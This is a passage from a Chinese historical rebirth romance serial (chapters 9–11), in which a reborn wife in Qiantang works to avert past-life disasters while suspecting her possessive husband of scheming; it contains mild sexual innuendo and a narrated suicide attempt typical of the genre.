而且她那附近,瞧着不苟言笑,性子恐怕也不好相处,但身份上到底比他高许多,他堂堂正正替妻子赴约,他自然不能小人心性,觉得对方另有目的。 燕崇礼和容裴卿共乘一舟,沈家两兄弟摇着船桨,跟在后方。 沈聿修很紧张,而沈妄全程只盯着莲蓬,心里盘算着日子,什么时候可以吃到第一茬新鲜莲子。 燕崇礼坐在小舟上,也不主动说话,全程都是冷冷地看着容裴卿,但凡对方手里的船桨慢上一点,他表情就沉上一分。 …… 西湖泛舟,本讲究的是诗情画意。 可惜,整个晌午,容裴卿都在往死里划手里的船桨。 直到临近太阳落山,燕崇礼终于发话了:“今日游湖,不知容三郎觉得如何?” 能如何? 容裴卿力竭,感觉自己都快死了,偏偏又不能在对方面前失了体面。 他勉强喘了口气:“尚可。” 燕崇礼点头,看了一眼外头的天色:“既然如此,容三郎还是归家好生歇着吧。” 回到岸边,容裴卿别说骑马了,几乎是被人七手八脚抬到马车里的。 沈聿修和沈妄面面相觑。 沈妄拍手:“我就说不会打架吧。” 沈聿修:“这还不如打一架。” 燕崇礼似笑非笑问。 “不知两位兄长在说什么?” “我瞧着容家三郎挺满意今日出游的,我与他更是相谈甚欢,希望下次还有这样的机会。” 9.前因 “该如何回答?” “我好像不太知晓。”沈妄暗暗拉了一下兄长的衣袖,恨不得原地算一卦才好,“我总觉得自己要大祸临头了。” 沈聿修拉着一张脸,伸手捂住沈妄那张喋喋不休的嘴:“只要你好好闭嘴,我们俩就还都能活。” 燕崇礼拾阶上岸,直直朝沈明祯走近:“夫人怎么来了?” “燕崇礼,你是不是故意的?”沈明祯仰着脑袋,眼尾微微洇着一团红,因不满而嘟起的唇,红而娇像花瓣似的,红润的两颊,哪怕生气,依旧是很招人怜的模样。 整张脸,生动中透着一种扎眼的绝色。 燕崇礼俯身,没忍住抬手在她鼻尖轻轻一点,神色坦然道:“泱泱何出此言,我怎么会故意呢?” 沈明祯看着眼前的罪魁祸首,澄澈的双目都瞪圆了:“哪有游湖只让容三哥哥一人划桨的道理,还有本该我是与兄长约好的,你怎么能擅作主张,替了我?” “是吗?”燕崇礼抿了一下唇,笑容很淡,“不是夫人白日贪睡,才误了时辰吗?” “再说了,难不成夫人若与容三郎游湖,得夫人亲自划桨?我今日可是替夫人赴约。” “额……”沈明祯满肚子指责的话,一下子全卡在喉咙里,他怎么说得那么有道理? 她游湖,何时要自己动手划桨,这辈子就没干过这种力气活,这样一想,再对上燕崇礼不解的神色,一时间竟然有一种错怪他好意的心虚。 但是!这事也不能就这样算了。 要不是她实在不想提,昨夜她在西侧间辗转反侧难以入眠的事,她何至于处处被他占了上风。 燕崇礼这人,就像是老天爷派来克她的。 果不其然,男人忽然话音一转,似关切问:“昨夜在西边卧房,夫人夜里睡得可还好?” 呵呵…… 哪壶不开提哪壶,沈明祯面无表情想着,咬了一下唇,很是嘴硬道:“不就是因为睡得太好了,才睡迟了吗?” “既然夫人睡得好,那我也安心。”燕崇礼挑眉,从善如流会道。 沈明祯拧眉,不禁怀疑他话中的真假。 难道不应该是,昨夜他一场算计,害她误了时辰,再顺理成章替她赴约。 然后以游湖为借口,公报私仇吗? “阿兄怎么不和容三表哥一条船?”沈明祯思绪半晌,忽然朝不远处的沈妄招手问。 沈妄茫然四顾,直到沈聿修推了他一下,他才僵着一张脸走过去。 “二哥哥怎么不说话?”沈明祯见沈妄捂着嘴,喉咙一咽一咽很紧张的模样。 沈聿修见弟弟实在不争气,只好代他开口:“他方才在湖里,吃多了未熟透的莲子,估计把嗓子毒哑了。” 沈明祯虽然觉得事情不太对劲,但的确是她二哥哥会做得出来的事。 “那阿兄呢,阿兄怎么不和容三表哥一起?” 沈聿修轻咳一声:“你二哥哥脑子不好,又不是一两天的事了。” “我若不看着他,兴许他馋起来,要把那花都摘来吃掉。” 沈聿修说一句,沈明祯点一下头,总觉得每一句都特别有道理的样子。 “那我去看看容三表哥怎么样了。”沈明祯丢下这话,头也不回往容家的马车跑去。 容裴卿躺在车厢里,整个人脱了力气。 之前还能咬牙强撑着体面,这会子一碗酸梅汁下去,额间细密的热汗,层层往下淌,鬓发濡湿黏在泛红发烫的脸颊上。 精神气耗尽不说,身上还闷出一身暑气,显得十分狼狈。 “容三哥哥。”沈明祯站在马车外,往里探头。 “泱泱?”容裴卿第一反应是着急忙慌拿袖子遮脸。 沈明祯见他这般模样,心头微软,语气关切道:“表哥也真是的,烈日之下强撑作何,实在划不动,你收了桨在湖面上飘着也成啊。” 容裴卿叹气,声音闷闷的,带着懊恼:“燕世子来一趟钱塘不容易,我作为泱泱的兄长,总要尽一份地主之谊。” 沈明祯蹙眉,想了想,还是轻声问:“表哥累成这般模样,这几日就乖乖待在府中静养。应该不会再纵着性子,日日出门了吧?” 容裴卿有气无力点头:“我都快死了,还出门,除非我疯了。” “不成不成,这小半月,我铁定不会再出门的。” 沈明祯得到保证,这才松了一大口气。 她似不放心,离去前,还不忘数次叮嘱,话音温柔妥帖,是全然发真心的关切。 得到容裴卿立誓保证后,沈明祯这才大松一口气,准备去找哥哥会合。 不曾想,转身瞬间,她猝不及防撞进一片温热坚实的胸膛。 燕崇礼不知道什么时候来的,就离她咫尺的距离。 沈明祯被他揽住,清冽的气息,和他本人带来的,无声的压迫。 两人身形相差悬殊,她整个人以极其亲昵的姿势,几乎完全陷在他的怀里。 “夫人怎么这般不小心?”燕崇礼低笑,掌心落在那纤细的腰上,不轻不重抚了一下。 沈明祯仰着头,难得没有反驳,眉心微微皱起,怔怔地盯着男人看不清情绪的侧脸。 他的目光似乎很沉,隔着不远不近的距离,正落在容家的马车上,微微下压的唇角,隐隐透着戾气。 那种怪异的感觉,一旦漫上来就压不下去。 沈明祯打量他,心悸的感觉随着胸膛鼓动,她不受控制手脚冰凉。 她昨日会寻了借口约容裴卿出来划船赏景,纯粹是因为记得前世,也就是这几日,他因为救人差点丢了性命。 虽然后来办法用尽,拿了一只百年的老参吊住的性命,但最后容裴卿的身子骨也多半废了。 溺水加之流言蜚语,不多久他又患上肺痨。 不能出门,不能吹风,只能关屋子里郁郁一生。 至于那救上来的小孩是活了,可和小孩一同落水的女人,终究没活成。那家人在容家闹了许久,蛮不讲理,只说是容裴卿害死了他家娘子。 回府的路上,沈明祯心事重重,更是不时偷偷打量燕崇礼。 也不知道是不是多想,她总感觉今日这一出,像是对方刻意为之。 燕崇礼坦然地看过去,甚至颇有深意问:“泱泱怎么频频走神?” 沈明祯沉默片刻,也不知道是有意还是无意:“在想表哥身体弱,白日中暑,不知道夜里会不会高热。” 燕崇礼眼睛眯了眯,车厢昏暗的光线,落在他身上,眉眼线条一下子变得锋利异常。 “夫人若是不放心,我可以替夫人去容家一趟。” 沈明祯捏了捏手指,紧紧看着对方的表情:“那倒不必麻烦。” 入夜,沈明祯抱着枕头站在西侧间的屋子前,要进不进。 昨夜没睡好,明日还有更重要的事,她可不能再睁眼天明了。 “娘子想回去?”温嬷嬷小声问。 “我……”沈明祯眨了眨嘴,却又不想在燕崇礼面前失了气势。 温嬷嬷好言相劝,说了一番很有道理的话:“娘子怕什么,整个玄珍阁都是您一个人的,您爱睡哪里,不就是您一句话的事。” “就算是郎君,他也不能说玄珍阁是他的。” 好有道理! 沈明祯猛猛点头:“阿温,你说得对。” “那赶紧的,我们搬回去吧。” “西边这屋子,我是一天都不想再睡了。” 沈明祯带着人,开始搬东西。 燕崇礼明知故问:“夫人这是作何?” 沈明神看着他,忽然展颜一笑:“我想了想,我与郎君是新婚的夫妻,如何能分房睡呢。” “昨日是我的不对,今日我还是搬回去的好。” “瞧着郎君的表情好像不太愿意?” “难不成郎君厌我、烦我、不想与我同床共枕?” 燕崇礼像是也没想到她会说出这样一番话,愣了片刻才回神:“自然不会。” 沈明祯点点头,心里打着主意,适时开口:“不知道郎君明日有没有空,我听说春风楼出了一款新时的点心,不如与我一同去吃?” “点心?”燕崇礼反问,“就你我二人,不带上兄长?” 沈明祯对上他的视线,轻轻点头:“对,就你我二人。” 两人互相看着对方的眼睛,各怀心思。 翌日一早,沈明祯就醒了,温嬷嬷在一旁替她梳妆。 燕崇礼从外边进来,他似乎换了一件新衣,枣红的圆领袍,袖口是一圈金边,这种浓重的颜色实在衬他。 就像她此刻看着他,视线几乎挪不开,连呼吸都变得轻缓。 “你打扮得这般容重作何?”沈明祯震惊。 燕崇礼不解:“夫人第一次相约,我难道不应该用心些?” 无法反驳,他总是很有道理。 晌午前,夫妻二人已经坐在春风楼雅间,位置临窗,刚好可以清楚地看到下方的河道街景。 随着时间临近,沈明祯感到不安。 这时燕崇礼突然问:“我听万叔说,不远处有一家烤胡饼特别正宗,夫人可否要尝尝?” 沈明祯正在走神呢,她也没放在心上,随意点头:“好。” 燕崇礼朝一旁扫了眼,万叔带着人,无声无息退下。 两人对坐,沈明祯不时朝外看,只要听见石头砸水的声音,她就会紧张半天。 不知过了多久。 扑通一声,很大的声响。 沈明祯捏着手,猛然站起来。 和她记忆里娘亲说的情况一样,有人落水了,街道上有人惊呼奔走,乱成一片。 “阿温,你去看看发生什么事?”沈明祯飞快朝身后的温嬷嬷吩咐。 这次容三表哥不在,她不确定会不会有其他人相助,但她不能因为改变了表哥的命运,就眼睁睁看对方去死。 所以这次出门是借口,带人提前准备才是目的。 约莫两刻钟后,温嬷嬷回来。 沈明祯顶着燕崇礼的目光,假装不懂:“阿温,外头发生了什么事?” 温嬷嬷弓着身体:“老奴听见外头声音,就凑近看了,原来是一位母亲带着孩子寻死。” 寻死? 前世不是不小心落水吗? 难怪明明前世容三表哥水性很好,依旧差点死掉,原来那个女带着孩子,本来就要去死的。 沈明祯深吸一口气:“救上来了吗?” 温嬷嬷点头:“听说是从这酒楼路过的盐商,听到呼喊声就跳下去了。” “不过那人倒是做好事不留名,母子俩救上来后,就走了。” “走了?”怎么可能这样巧合,沈明祯骤然朝对面的燕崇礼看去。 燕崇礼端着茶盏,不紧不慢喝了一口:“夫人看着我,作何?” 沈明祯朝四周看:“郎君身边的万叔怎么不见了?” 她记得万叔水性很好,难不得那所谓的盐商就是万叔? 如果是这样,那燕崇礼呢,他如果也像她一样经历过一回…… 不能再想,只要滋生出这种思绪,她就会控制不住手脚冰凉。 恰好这时候,万叔回来了。 他穿的是黑衣,身上有水痕,袖口就算拧干,依旧明显。 沈明祯一颗心几乎提到嗓子眼了。 万叔像是没有感觉到屋子里怪异的气氛,自顾自朝他们夫妻行礼。 “郎君和少夫人赎罪。” “方才经过巷子,不小心被泼了一身凉水,实在狼狈。” “万幸,手里的胡饼被我护得好。” 万叔说着,从食盒里拿出一个用新鲜荷叶和油纸包好的东西,递给温嬷嬷。 胡饼还热得烫手。 沈明祯双手紧紧撑在桌面上,她强装镇定,仔细观察万叔。 万叔只有上半身的衣裳淌着水痕,不像是跳进水里救人的模样。 她心思全放在万叔身上,并没有注意到燕崇礼的贴身小厮和护卫祝余和飞廉不见了。 身上力气像是被抽空,伸手要去端茶水,却发现手心在抖。 燕崇礼举着手里的杯子,亲自喂她,似不解地问:“夫人的脸色这样白?” “方才有人落水,瞧着夫人担心的模样。” “我都不禁以为夫人,像是提前知道有人会落水。” 10.酥山 “怎么会?”沈明祯心虚地应道。 “是吗?”燕崇礼的目光并不重,却看得她遍体生寒,“我以为泱泱和沈二郎君一脉相承,也能卜卦,判一判凶吉呢。” 沈明祯一双手搁在桌面上,她自己都没注意到,交握扣紧的指尖力道有多重。 直到燕崇礼伸出手,强势不容拒绝把她两个掌心都紧紧握住,唇角弯了弯,明知故问:“掌心怎么这么凉,都是冷汗?” 沈明祯头垂得更低,小声辩驳:“我听说有人落水,自然是吓的。” “泱泱胆小,我知道。”燕崇礼注视着她,没有要松开的意思。 宽大的掌心牢牢扣紧,他一根根拨开她蜷缩的指节,覆着薄茧的指腹,从沈明祯的指根,缓缓摩挲到她青葱似的指尖,力道轻很轻,却反反复复。 沈明祯不禁想到昨夜,他也是这样哄她的,那双手,从里到外,哪里也不放过。 明明一副怕把她揉碎的模样,可却又不知餍足,不肯放开。 试着抽回手,却怎么也挣不开。 “莫动。”燕崇礼将她的手,握得更紧,问出的话,吓得沈明祯差点打翻茶盏。 “昨夜定是累着了吧?” “手冷得厉害,我替你暖暖。” 他还好意思提昨夜! 沈明祯一想到昨夜,她羊入虎口,被他找各种理由吃个精光,就没忍住双眸冒火,狠狠瞪他。 燕崇礼坦然地看着她,身子稍稍前倾,用只有两人能听到的声音:“昨夜……” “夫人不也同样尽兴?” “最后哭出声的时候……” “身体,软得都快化开了吧?” 沈明祯的脸瞬间烧起来,绯色从耳根开始,一路蔓延至两颊,就连脖颈都泛起浅浅的粉。 “燕崇礼,你闭嘴,快闭嘴。”大惊之下,沈明祯手足无措去捂住他的嘴。 香软的掌心,触碰他薄唇的刹那。 燕崇礼顺着她的力道,往前倾身,温热的舌尖放肆异常,从沈明祯手心那些浅浅的纹路——舔过。 周遭静谧,落针可闻,也不知是谁的呼吸乱了。 沈明祯波光潋滟的一双杏眼,瞪得圆圆的,视线飘忽,像是被烫着。 “你……”她仓皇无措收回手,指着他,支支吾吾骂不出声。 燕崇礼微偏过头,张开嘴,更过分将那细软的指尖轻轻衔住,舌尖抵着,牙齿磕在娇嫩的指腹上。 他用眼神在告诉对方,嘴巴既然不能说话,那就用来做些别的事。 四目相对,在这一瞬间,燕崇礼漆黑的眼眸,邪戾又张扬。 沈明祯整个人都软了,像被抽掉了脊骨。 羞赧和慌乱,将她淹没,攀至巅峰。 好在这时候,温嬷嬷敲门,身后跟着店小二,手里的托盘端着一碗新做的酥山。 “娘子?”温嬷嬷微愣。 见沈明祯捂着脸,耳垂红得简直快滴血。 雅间气氛,似乎不太对。 不过温嬷嬷向来会察言观色,见郎君端坐,唇角一抹若有若无的笑,当即将话咽回去,装作什么也没发生的样子,退回门外。 此刻,沈明祯急需做些事情,来转移注意力。 酥山是用牛乳和冰沙制成,造型格外别致,因为这次上面配的鲜果,据说是胡商从波斯带回来的圣果“底珍”。 整个江南,也就春风楼独此一份。 果子外形像是没有熟透的小梨,对半切开,果皮薄而光滑,上大下小,颜色也由蜜紫减淡至粉黄。 沈明祯拿起半颗果子,咬了一小口,甜香漫开,软绵的果肉,汁水丰沛。 炎炎夏日,若能吃完这一大碗,必然是幸福。 可惜这种幸福,燕崇礼怎么会让她如愿。 春风楼临街,又临近水边,窗外凉风习习,酥山丝丝凉气,顺着风袅袅似烟。 沈明祯手执小匙,舀起正要送入口中,眼前的酥山,忽然被燕崇礼端起来。 对方眉心拧着,表情明显不赞同:“就算是剩下暑热,也不可贪多冰食。” 他见沈明祯不答,又继续道:“酥山寒凉,你的脾胃本就娇弱,吃坏了身体,我又得逼你喝苦药。” 沈明祯顿住,红红的唇抿紧。 逼她吃药,逼她吃饭,现在连冰都不让她吃了? 不过一碗酥山,若是阿耶阿娘,怎么舍得她受这种眼巴巴的委屈。 换做家里的阿兄,只会恨不得给她要个十碗八碗的,只为哄她开心。 沈明祯手里的小匙舍不得放下,但又惧怕苦药威胁,绞尽脑汁讨价还价:“我没吃很多,就吃一碗而已。” 燕崇礼一脸严肃,不赞同:“最多吃一半。 沈明祯:“……”吃一半,也不如不吃呢,尽说些鬼话。 见沈明祯不理,他也不恼,只是隐含威胁道:“如果不听,那今晚回去,就把昨夜欠下的那几次,全部补上。” “脾胃寒凉,你又不爱动弹。” “那夜里适当多做些运动,也是应该的。” 这话,果然比任何威胁都有用,沈明祯脸色大变,贝齿咬住红红的唇瓣。 她知道燕崇礼绝对不会拿这种事开玩笑,他的规矩严谨,在这方面只会给他自己赚足甜头。 而她呢! 她当然是吃尽苦头。 一半就一半吧,总比一口都吃不到好。 所以她每一口都吃得很慢,甚至可以说得上细细品鉴。 然而这种安静闲适的气氛,并没有持续太久,当沈明祯吃到第三口的时候,春风楼外,传来尖锐的哭喊声。 沈明祯被那声音吓得一抖,瞳孔骤缩,朝外吩咐:“阿温,你去看看。” 不多时温嬷嬷回来,站在门外小声解释:“娘子,方才闹出动静的人,好像是跳湖的母女。” “老奴听人说,那位小娘子带着女儿,好像是走投无路,若不是有人及时拦下,她恐怕又要带着女儿,再次投河。” 沈明祯脸上表情渐敛,心口像是被堵着。 未来要发生的事,既然无法预料,那她就在能力范围内,一点点去改变。 因果难料,她不能就这样放任不管。 哪怕是万分之一的可能,不仅是她为了让容三表哥避开这个劫,也是她出于本心的善良,不想看着无辜的生命,死在她本能阻止的任何一个时间节点。 沈明祯纠结半晌,舌尖舔了一下甜丝丝唇,试探说:“我瞧着那母女两怪可怜的,不如让温嬷嬷去送些银两。” 水眸轻眨,沈明祯努力做出一副天真懵懂的模样:“或者……” 燕崇礼起身,双手撑着桌面,目光直直盯着她:“不如夫人和我,一同去看看?” 沈明祯下意识跟着站起来。 等走了两步,忽然觉得不对。 燕崇礼性子一贯是冷淡的,就算有事,他也会吩咐万叔去,今日这么如此上心。 但凡这种念头起来,她就觉得一阵心惊肉跳,后脊不过眨眼的而已,就被冷汗浸透。 不会的,许是近来事多,她太过多疑罢了。 沈明祯捂着怦怦直跳的心口,余光不经意看到桌子上剩下的,她只吃了几口的酥山。 恍然大悟。 原来此男心机,装作要与她一同前去,是不想让她多吃冰的东西。 前后一想,燕崇礼的怪异举动,也就全都说得通。 沈明祯放下心来,跟在他身后,往外走。 …… “你们何须拦着我,我不过是想求死罢了。”投河的女子跪坐在青石板路上,她看着很年轻,怀里紧紧搂着一个看起来不过三四岁的女娃娃。 “娘子,当心些。”温嬷嬷怕沈明祯被冲撞,尽量小心扶着。 沈明祯的心思全都在那个女人身上,洗得发白的布衣,发髻用的是一根很简陋的木簪子,瘦弱蜡黄,明显是日子拮据的穷苦人家。 温嬷嬷看不过,仔细拿了装银子的荷包递过去。 女人先是一愣,然后哭得更加崩溃:“银子有何用,总有花光的时候,日子过不下去了,还不如我们母女二人死了,让我那夫君也有些盼头。” 温嬷嬷哄人套话,很有一套。 她先是拿了点吃的递过去:“先吃点东西,垫垫肚子。” 她见女人犹豫:“就算你不吃,孩子必定也是饿极了,若这些银子不够,你觉得还差多少,我不如替你想想办法?” 热汤配着胡饼,不过几句话而已,在女人断断续续的哭声中,温嬷嬷已经把她家底摸了个清。 原来不是女人不愿意为女儿治病,而是因为小孩得的是肺痨,治不好不说,每月还需很贵的药材,吃食上也需静养、防护,饮食更是需要滋补。 所以眼前的女人,也是被逼得没办法了,才一意孤行,想带着女儿一起了结生命。 沈明祯听完,倒吸一口凉气,出于本能,紧紧攥着燕崇礼的衣袖。 难怪前世,容三表哥后来也患上了这个病。 而且那孩子的父亲,更是无理取闹,时不时去容家府邸哭闹一通,那时她听母亲说起,本以为就是像所有人想的那样,只是游手好闲之徒为了讹些银子。 所以面不讲理不说,还变本加厉。 可是现在…… 沈明祯觉得应该是那个男人,为了给还活着的女儿治病。 手掌心攥出汗,强忍 着难受,她朝温嬷嬷小声吩咐:“去就近的医馆,请个医士来。” * 女人姓薛,家住在大遮山脚下。 沈明祯放眼望去,不过是三间低矮土屋,院墙不高,墙头坑洼不平,屋檐、木窗都有不同程度的裂缝。 院子虽简陋,却收拾得干干净净。 那位被救上来的妇人,也就是薛娘子局促站着,开裂的手指不安绞着衣角:“娘子,那些银钱,能不能先欠着,我会想办法还给你的。” 沈明祯朝她摆手,又指了指屋内,请来的医正,正三指搭在稚童的腕脉上,屏气凝神。 不多时,他从药箱里掏出银针。 沈明祯一看见那东西,就怵得发慌,明明扎针吃药的人不是她,她却像有心理阴影似的,一个劲朝燕崇礼身后藏。 四下静悄悄的,只余下屋里时不时孩子的轻咳声。 等诊完脉,开了方子,沈明祯眼神示意温嬷嬷掏钱。 薛娘子一双手紧紧绞着,低垂着头,坐立难安,根本不敢与两位贵人对视。 “你家郎君呢?”沈明祯忽然问。 薛娘子向前走了两步,紧张解释:“我夫君是大遮山的采斫者。” “为了节约家中银钱,所以他常年待在山上,也就偶尔年节那两日,才会和监工作告假,下山来与我们母女相聚。” 山里的采斫者,一般做的都是伐木工作,银钱虽然看着很丰厚,但是十分辛苦,但凡遇上狂风暴雨的天气,高耸的山木倒塌,躲闪不及时,不是砸死,就是砸废。 沈明祯看得出来,夫妻二人是把孩子当命根子养,若不是实在走投无路,女人也不会做出那样不可挽回的事:“这附近,可还住有其他的村民?” 薛娘子点头,朝院子指了几处:“山脚下一共有三十多户人家,留在家里的,大多是女人小孩,男人都在山上伐木,就指着那点银钱过日子。” 沈明祯顺着女人指的放下,她缓步走到院子外。 此地远眺,能隐约看到奔流不息的钱塘江浪潮。 临近傍晚,山风卷着水汽,扑在她柔软的面颊上,两岸青山,江水浑黄浩荡,翻涌不绝。 而前世。 钱塘决堤,同样正值七月盛夏。 飓风骤起,江海倒灌,潮水如同天谴,无情席卷整个钱塘。 而那场骇人山崩,便是源于脚下的大遮山。 巨石从山顶滚落,泥沙裹挟林木倾泻,整座山体撕裂,森林涂炭,尸横遍野。 那一年。 流民、浮尸、瘟疫,整个大燕的朝堂同样岌岌可危。 过往的记忆,像是锋利的匕首,直直刺中沈明祯的心口,远眺大遮山隐在云层深处的珠峰,命运枷锁无法抗拒,藏于袖中的指尖颤抖不已。 “夫人。”燕崇礼走到她身后,干燥温热的掌心朝下,隔着袖子握紧,“天凉,不要站在风口。” 他感觉到,她手掌心传来细微的颤意,并未点破。 举目远眺,衣袂被风吹得凌乱,视线落在山脚下赶车的队伍上。 密集似蚁群一样的人影,车夫吆喝声炸响山林,一根根粗壮的巨木被绳索固定,一车接一车,蜿蜒无尽头送往山下。 伐木修堤,乃利民之举,而从大遮山上砍伐的木头,据说都是修筑所需的木料。 可钱塘年年修堤,依旧年年水患。 空气长久的凝滞,燕崇礼垂眸,声音被风吹得沙哑异常:“我在想,若是禁止伐木,改良筑堤工艺,用石料取代一部分木材,是否能改善每年夏汛,大潮倒灌,江水漫堤,而冲毁良田的境况。” 改进工艺? 沈明祯心口轰然一震,强行压下内心的慌乱,根本不敢抬眸看他,只怕泄露眼中强压着的情绪。 她僵在原地,心底翻涌着滔天的猜忌。 前世他的所有重心都在朝中, 钱塘对于水患的处理,一直沿袭百年旧制,其中最大缘由就是,就算大潮倒灌,江水漫堤,但只要汛期一过,便能平缓度过。 而他们沈氏一族,作为百年传说里的司雨之神计蒙之后,世代隐居于钱塘神脉之地。 沈家人虽不入朝为官,但世代都会出现不少治水能人,堵堤修塘、伐木固坝,更是从未懈怠。 更改该旧制,寻求新的办法。 他说这话,是出于巧合? 还是,他和她是一样的? 万千揣测在胸腔里撕扯,沈明祯怕窥见自己最不愿接受的真相。 但心里还有一个反复的声音。 若是把燕崇礼留在钱塘,以他的天纵之才,若真的能改变前世的惨剧呢? 那她该怎么做。 何去何从? 11.得到她 沈明祯失神望着江面,想着前世那场几乎颠覆整个江南的浩劫。 反复纠葛的答案,如眼前滚滚而来的江水,叫她进退维谷,稍有不慎便是粉身碎骨。 直到一只温热的手掌再次握住她,将她从纷乱的思绪中拉回现实。 “风大,回去吧。”燕崇礼声音不高,被呼啸的江风吹得略低,“医士已经开好方子,剩下的事,让万叔和温嬷嬷处理就好。” 温嬷嬷行礼上前:“娘子尽管安心。” “老奴按照郎君的吩咐,每半月会让人给薛娘子送一次温补的食材,五日一次的诊脉开方,在医馆那边也留下了足够的诊金。” “那孩子瞧着瘦小,但身体底子不算亏空。” “将将养上个几年,身子骨兴许会比同龄人差些,但总归是性命无虞。” 沈明祯点头,朝着院子里缩着肩膀,不知该如何好的薛娘子道:“我家嬷嬷每半月会派人来一次,你家孩子若有什么需要的,只管和她提。” 薛娘子感恩戴德,说着就要跪在地上磕头。 温嬷嬷哪能真让她跪下去。 自家娘子心善,见不得她孤儿寡母走投无路,不过是顺手帮忙的事,哪里会真受对方这一跪。 …… 沈明祯回到家,先去父母房中请安,然后又拉着完颜清嘉说了一筐体己话。 等准备走的时候,完颜清嘉眼睛红红的,似恼极了的模样,她涂着鲜红蔻丹手指,用力点了点沈明祯的脑门:“你这孩儿,真是胡闹。” “祖祠里那些东西,都是沈氏不外传的宝贝,你就不怕你阿耶知道了生气,动用宗法打折你的腿。” 沈明祯也不怕:“阿娘疼我,阿耶哪舍得动我一下。” “再说了,燕崇礼他娶我为妻,那也算半个沈家子孙,无论往小往大了说,都不算外人。” 沈明祯不提还好,这一提,完颜清嘉更是怒其不争:“前些日子不是在我这儿闹着要和离吗?” “这会子,那燕家二郎,又算得上半个沈家子孙啦?你当人家娶你是入赘呢?” 沈明祯心虚吐了吐舌头,一个劲地抱着完颜清嘉撒娇:“要和离的,燕崇礼怎么能入赘呢,就算阿耶想要一个好儿子勉强同意,但是……” 她顿了顿,很夸张地往两个兄长的院落指了指:“二哥哥愚笨,大哥就算聪慧,但也比不上燕家二郎心思深沉呐。” “两个哥哥加起来,大抵是只有被燕崇礼算计的份。” “他若真入赘了,我那两位哥哥还有资格继承家业?” “所以为了兄长们的大业着想,我铁定是要与他和离的,只是觉得眼下还不是时候,阿娘可不许和我阿耶沆瀣一气,阻了我和离另嫁的好日子。” 完颜清嘉闻言,气得头痛,不由抚着心口叹气,摆手道:“回去吧,你快些回你的玄珍阁去,莫要在这儿气我。” “至于你要的那些治水的古籍秘书,我会想法子和你阿耶商量,若他气狠了,你就自己去祠堂跪祖宗的牌位去吧。” 入夜,沈明祯回到玄珍阁。 四下无声,澜琚和辛雉站在门外,见她过来,两小丫鬟一副欲言又止的模样。 “这是怎么了?”沈明祯见两人战战兢兢的模样,略感不解地问。 澜琚朝屋里悄悄指了一下,用极低的声音告密:“娘子,郎君正在屋里收拾东西,好像要回西京了。” “回西京?”沈明祯大惊,“回去干嘛?” 澜琚比了一个噤声的手势,朝左右看了一眼,忐忑道:“娘子,小声些。” “奴婢也是不小心听见的,方才在小花园里郎君对祝余吩咐,他们准备偷偷离开钱塘。” 沈明祯这一听还了得,只觉得天都快塌了。 燕崇礼怎么能走,他可是奉承出使江南,监察百官,弹劾不法,贪官都还没开始抓,弹劾的折子估计也没写几张吧,他怎么就准备走了呢? 还是偷偷的? 难道是江南的饭不好吃,或者她近来对他没什么好脾气,总不会是夜里夫妻敦伦没有满足他? 以至于燕崇礼心生不满,连新婚夫妻这点同床共枕的情分都不顾了。 不管是什么原因,沈明祯暗暗决定,可不能现在就放他走,大事还没办完呢。 本来她因为钱塘治水革新这个巨大的诱惑,纠结要不要留下他,至于提和离的事,要不要先缓一缓。 现在一听燕崇礼可能要带着常随偷偷跑路,逆反心一上来,沈明祯那可是火烧眉毛,什么都顾不得了。 在门外调整好情绪,沈明祯伸手用力揉了一下脸颊,她决定从今日起,先收一收脾性,家中的饭吃不惯,完全可以从西京请厨子,至于夫妻床事,她也不是没有退让的空间。 这样想着,沈明祯推门,脸上扬起明媚至极的笑容,掐着嗓子娇滴滴地喊:“夫君……” 软糯清甜的嗓音,带着令人失神的婉转,含娇细语。 燕崇礼猛地抬眼,深邃透着探究的目光,定定落在她身上,透着审视。 “泱泱。” “再喊一遍。”烛火映在燕崇礼的瞳孔里,眸色沉沉,锐利异常。 他声音是哑的,手掌心用力,薄薄的书册几乎被他捏变形。 “夫君……”沈明祯虽不解其意,但还是乖乖喊了一声。 燕崇礼深深凝着她,目光如有实质,从沈明祯温顺低垂的眉眼,滑至纤细雪白的脖子,再望向锁骨下方起伏玲珑的线条。 一寸寸审视,眼眸深处还压着一丝说不清道不明的戒备。 他就算猜不透,却沉沦般享受对方这一刻的乖顺。 烛光敏感交错,燕崇礼极快收敛情绪,自然又不失亲昵地拉过沈明祯的手,眸底闪着不明的试探:“夫人寻我何事?” “这个……”沈明祯词穷,她找他能有什么事,不过是试探他准备何时离开钱塘罢了。 但是又不能把话问得明目张胆,不然她怎么掌握主动权。 沈明祯为了装作体贴,绞尽脑汁,憋了这么一句。 “就是天色不早,我问问郎君何时安置。” 此话出口,她就恨不得咬烂自己的舌头,问的什么话,天色不早,何时安置? 显得她很想和他上|床睡觉一样。 燕崇礼目光深了深,薄薄的唇蓦地一勾:“我本想收拾一下行囊,既然夫人很急,我也不是不行立刻安置。” 沈明祯差点笑不出来,温柔也装不下去,用力摆手否认:“不不不……我不急,一点都不急,你尽管收拾,不用管我。” 说完,她又觉得不太对。 什么叫尽管收拾,那收拾好,不就是当晚就可以趁着月黑风高离开。 “其实……”沈明祯垂下眼眸,扭捏着,最终一副豁出去的模样咬牙道,“我是有一点点急的啦。” 屋中静谧,燕崇礼不动声色地放下手里已经攥成皱巴巴的书。 他视线越过沈明祯,落到她身后的案几,那里放着一个还未收拾妥当的行囊。 其实从她进门开始,他的心神就尽数落在她身上。 平日里,对她多有疏离,时常戒备的妻子,今日竟破天荒放软了语调,娇滴滴唤他夫君。 这还是婚后,她第一次这样喊他。 虽然一开始惊疑,但当她数次试探,视线更是悄悄往桌案上摆放的行囊看了不下数次,那些细微的小动作,怎么逃得过他的眼睛。 燕崇礼压下压着内心的战栗,骨节分明的手指若无其事背到身后,手掌心微蜷绷紧,是从未见过的凌厉弧度。 看来,白日那一番话,到底还是起作用了。 钱塘治水需要新策,她听懂了,对他抱有期许,终究怕他离开的。 既然得不到她的心甘情愿,那就以形势逼人,哪怕是逢场作戏,他也甘之如饴。 更何况,沈明祯的爱恨从来都是纯粹的,至善率真,非黑即白,看似稚嫩却满身反骨,倔强得可怕。 他想得到她、拥有她,除了步步紧逼,亲手驯化外,他从来都不信,她还愿意心软垂怜他半分。 想到这里,燕崇礼心底生出阴郁的快感。 既然不必渴求她能有朝一日,再次心悦于他,那么就让她习惯他的一切,又受制于他的拿捏。 只需,日复一日。 那他们此生,不也就百年好合了。 燕崇礼收回视线,竭力控制着呼吸,眼尾渐渐仰起一抹极为温润的笑:“既然泱泱着急,不如……” 他嘴角勾出一抹极淡的弧度:“不如一起沐浴,也能早些安置。” “沐……沐浴?”沈明祯惊出声来,甚至觉得有瞬间的眩晕。 